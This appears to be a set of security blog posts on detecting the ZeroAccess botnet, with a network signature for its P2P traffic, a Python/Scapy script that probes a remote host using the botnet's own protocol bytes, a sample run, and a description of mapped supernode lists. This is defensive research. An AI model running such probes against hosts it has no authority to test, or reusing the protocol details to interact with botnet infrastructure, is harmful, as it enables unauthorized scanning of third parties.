When the bot is up and running and want to keep its P2P list up to date it talks to ZeroAccess supernodes on UDP port 16464, 16465, 16470 or 16471. As we remember from the analysis it will be asking for P2P lists with the command getL. This is XORED with a different key but the values are static so we can simply just look for them in the packet.

Lets add that to the ports and we should be hitting bullseye with this signature as well. UDP payload byte 4-7 should look like 0x28948dab. Alert on ZeroAccess P2P activity.

That should take care of the installation part and update parts of the ZeroAccess bot.

Happy ZeroAccess detection

Checking ZeroAccess with Python and Scapy

I see that there is still a lot of ZeroAccess infections from EK's around.
One should think that these bad guys should be somewhat satisfied with well over a million bots.
But not these guys, no they have to be the biggest and I guess they need to sustain their illegal income!

Check here for more info on ZeroAccess and network behaviour

Well enough ranting about the biggest botnet on the face of the earth.
Lets make our litte Python script,
with the help of the excellent tool Scapy we will make a script that can check if a remote host is infected with ZeroAccess.

Note the requirements: root access(we need promisc on the interface), scapy installed and python 2.7.3 of course.

run it with the remote ip as argument and it will shout the country where penguins come from back at you, BURMA, if the host is infected.

ZeroAccesed python script

# @malforsec python script to check ZeroAccess infected hosts
# requires scapy
# requires root privs
# usage: python zeroaccess_check.py <dest_ip>
# Why BURMA -> because penguins comes from Burma
from scapy.all import *


def main():
  dest_ip = sys.argv[1]
  ## alter port if you want a differnet source port
  src_port = 16464
  dst_port = 16464
  payload = '\xb8\x14\x35\xfe\x28\x94\x8d\xab\xc9\xc0\xd1\x99\x85\x95\x6f\x3f'

  pkt = sr1(IP(dst=dest_ip)/UDP(dport=dst_port, sport=src_port)/payload, timeout=10)
  ## if we get an anwer and it is not icmp(eg port unreachable)
  if pkt and pkt.proto != 1:
    if pkt.load.encode("hex")[8:16] == "28948dbe":
      print "\nBURMA!! : The host is ZerorAaccessed\n"
  else:
    print "Could not get ZeroAcess answer from host: ", dest_ip

if __name__ == "__main__":
    main()

Donload here: code.google.com

Please note that firewalls, routers and alike devices can block the traffic between you and the remote host. So use with intelligence :)

Should be OK to test internal networks. Even thoug it is slow. Set timeout wisely.

Test run

/tmp/zeroaccess$ sudo python zeroaccess_check.py xxx.yy.70.244
[sudo] password for malforsec: 
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
......Finished to send 1 packets.
.............*
Received 20 packets, got 1 answers, remaining 0 packets

BURMA!! : The host is ZerorAaccessed

Yupp that worked

If you find an infected host. Don't panic. It's not like something exploded, just another regular day.
Whatch this first youtube


Then disconnect the host and do a complete reinstall. I would not recommend trying to clean the mess up.

Happy ZeroAccess hunting

Zeroaccess supernodes mapped - part I

NB! there are approximately 40.000 nodes so the mapping will be slow

Or it should have been, but my google_maps_api_javascript fu failed me and you just get a small taste plotted on the nice google maps.
However here is the full list at pastebin part_I and part_II

This is an overview of ZeroAccess supernodes tracked in the last three weeks.
These nodes have been online during this period and confirmed infected.

These are nodes that are the backbone of the ZeroAccess network who other bots contact to keep updated. These nodes also communicate with each other mainly on UDP port 16464. They are called supernodes due to the fact that other nodes can communicate with them.

For more info on ZeroAccess check this post

Please note that IP addresses do change over time so some of these might not be alive at the time of publishing.

A good source for ZeroAccess statistics over at malware-lu